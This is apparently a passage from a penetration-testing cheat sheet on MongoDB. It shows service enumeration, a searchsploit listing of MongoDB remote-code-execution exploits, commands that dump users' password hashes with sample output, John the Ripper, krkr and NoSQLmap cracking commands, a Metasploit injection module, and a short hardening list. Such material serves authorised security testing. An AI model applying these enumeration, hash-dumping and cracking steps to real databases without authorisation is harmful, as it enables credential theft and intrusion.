jeff@kali-Linux:~/Documents/docker$ sudo docker run -it torque59/nosqlframework -ip 192.168.1.104 -enum mongo -auth Employeeadmin:password!
[+] 192.168.1.104 is up!
[+] MongoDB port open 192.168.1.104:27017
[+] Enumeration Module For NoSQL Framework Launched ..
[-] Authentication Failed with Credentials Employeeadmin:password!
<SNIP>
4. Searchsploit / ExploitDB
----------------------------
Look for public exploits affecting MongoDB databases.
jeff@kali-Linux:~/Documents$ searchsploit mongodb
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
MongoDB - 'conn' Mongo Object Remote Code Execution | exploits/multiple/remote/38669.txt
MongoDB - nativeHelper.apply Remote Code Execution (Metasploit) | exploits/linux/remote/24935.rb
MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution | exploits/linux/remote/24947.txt
PHPmongoDB 1.0.0 - Multiple Vulnerabilities | exploits/php/webapps/39697.txt
RockMongo PHP MongoDB Administrator 1.1.8 - Multiple Vulnerabilities | exploits/php/webapps/39682.txt
phpMoAdmin MongoDB GUI 1.1.5 - Cross-Site Request Forgery / Cross-Site Scripting | exploits/php/webapps/46082.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
==========================================================================================================
06. How to dump and crack MongoDB password hashes
==========================================================================================================
The system.users collection in the admin database stores user authentication and authorization information
(including password hashes).
1. MongoDB password hashes dump
--------------------------------
Example of Mongodb commands that allow to list the users and their password hashes.
These commands need to be run with an account which is member of the superuser role 'root'.
Option 1
--------
> use admin
switched to db admin
> db.system.users.find()
{ "_id" : "admin.audit", "user" : "audit", "db" : "admin", "credentials" : { "SCRAM-SHA-1" : { "iterationCount" : 10000, "salt" : "J0J71ZYp3U0/2vMhOoo8CQ==", "storedKey" : "CQPnEyDULuBVAFcRYN1uqYmvA3M=", "serverKey" : "WSGMTuMeOyRh5XaEEGmzHHL8Jz8=" } }, "roles" : [ { "role" : "userAdminAnyDatabase", "db" : "admin" } ] }
{ "_id" : "admin.Employeeadmin", "user" : "Employeeadmin", "db" : "admin", "credentials" : { "SCRAM-SHA-1" : { "iterationCount" : 10000, "salt" : "S2tJcvT4aBdlzB/iEfsybg==", "storedKey" : "nlDIyRt8JPOlU0pIn3aU0MMeCws=", "serverKey" : "dnWkMkFQriNnRElQongVe3AkZis=" } }, "roles" : [ { "role" : "userAdmin", "db" : "Employee" } ] }
{ "_id" : "admin.mongo-root", "user" : "mongo-root", "db" : "admin", "credentials" : { "SCRAM-SHA-1" : { "iterationCount" : 10000, "salt" : "abLsIBE302xZFIGNY+jpBA==", "storedKey" : "pqMRNAzpTjR0CMdI8ojgW8Vk8gs=", "serverKey" : "MHHmRRohJyaGxtXaj1FEiSAFaTY=" } }, "roles" : [ { "role" : "root", "db" : "admin" } ] }
Option 2
---------
> use admin
switched to db admin
> db.getUsers( {showCredentials: true})
[
{
"_id" : "admin.audit",
"user" : "audit",
"db" : "admin",
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "J0J71ZYp3U0/2vMhOoo8CQ==",
"storedKey" : "CQPnEyDULuBVAFcRYN1uqYmvA3M=",
"serverKey" : "WSGMTuMeOyRh5XaEEGmzHHL8Jz8="
}
},
"roles" : [
{
"role" : "userAdminAnyDatabase",
"db" : "admin"
}
]
},
{
"_id" : "admin.Employeeadmin",
"user" : "Employeeadmin",
"db" : "admin",
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "S2tJcvT4aBdlzB/iEfsybg==",
"storedKey" : "nlDIyRt8JPOlU0pIn3aU0MMeCws=",
"serverKey" : "dnWkMkFQriNnRElQongVe3AkZis="
}
},
"roles" : [
{
"role" : "userAdmin",
"db" : "Employee"
}
]
},
{
"_id" : "admin.mongo-root",
"user" : "mongo-root",
"db" : "admin",
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "abLsIBE302xZFIGNY+jpBA==",
"storedKey" : "pqMRNAzpTjR0CMdI8ojgW8Vk8gs=",
"serverKey" : "MHHmRRohJyaGxtXaj1FEiSAFaTY="
}
},
"roles" : [
{
"role" : "root",
"db" : "admin"
}
]
}
]
Option 3
---------
If the Web interface is enabled:
> http://192.168.1.234:28017/admin/system.users/
Option 4
---------
Use the tools 'nosql-exploitation-framework' or 'NoSQLmap'
2. Password hash cracking using John The Ripper
--------------------------------------------------
• Password dictionary attack
pentester@LinuxVM > john --wordlist=dico.txt --rules --session=1 --format=MongoDB file_with_hashes.txt
pentester@LinuxVM > john --show file_with_hashes.txt
• Password bruteforce attack
pentester@LinuxVM > john --session=2 --format=MongoDB file_with_hashes.txt
pentester@LinuxVM > john --show file_with_hashes.txt
3. Password hash cracking using the tool 'krkr'
-------------------------------------------------
=> https://github.com/averagesecurityguy/krkr
> Usage of ./krkr:
-f string
File containing password hashes. (default "hashes.txt")
-t string
The type of hash to crack. (default "none")
-w string
Password list (default "words.txt")
> Supported Hashes
- Mongodb SCRAM-SHA1
- Mongodb CR
> Example - File containing SCRAM-SHA1 password hashes
admin:admin:$scram$10000$/RvNLt7idKDYqnpgjrFDPA==$O0vYca487a4JwOFxsYC4xkWR+Ro=
admin:test:$scram$10000$4lwAAO2i6neGV8OphKpDYQ==$NOp7p/jpShihGcemtrh38Xy8Vbs=
testuser:testuser:$scram$10000$seF99VS0sZFe30VPBHA7A==$DYPbk/QJVowCNDPe2O2uWMmGq8U=
4. Password hash cracking using the tool 'NoSQLmap'
------------------------------------------------------
• NoSQLmap has a module 'passCrack' which allows to perform password hash cracking (dictionnary and brute-force)
==========================================================================================================
OTHER / NOTES
===============
• Given the lack of security with mongodb with the default install, basic security hardening best practices should include:
---------------------------------------------------------------------------------------------------------------------------
+ Disabling the default status page – using the 'nohttpinterface' option to turn off the 28017 port.
+ Use a different port – using the 'port' option
+ Do not enable REST in production environments – don't use 'rest' option
+ Bind the mongodb process to only one interface/IP – using the 'bind_ip'
+ Don't run mongodb daemon as root
+ Disable anonymous access – using the 'auth' option
+ Encrypt data - "To support audit requirements, you may need to encrypt data stored in MongoDB. For best results you can encrypt this data in the application layer, by encrypting the content of fields that hold secure data."
+ Encrypt communication – Recommended to use SSL
METASPLOIT - MongoDB NoSQL Collection Enumeration Viamau Injection
---------------------------------------------------------------
• This module can exploit NoSQL injections on MongoDB versions less than 2.4 and enumerate the collections available in the data via boolean injections.
• https://www.rapid7.com/db/modules/auxiliary/gather/mongodb_js_inject_collection_enum
• auxiliary/gather/mongodb_js_inject_collection_enum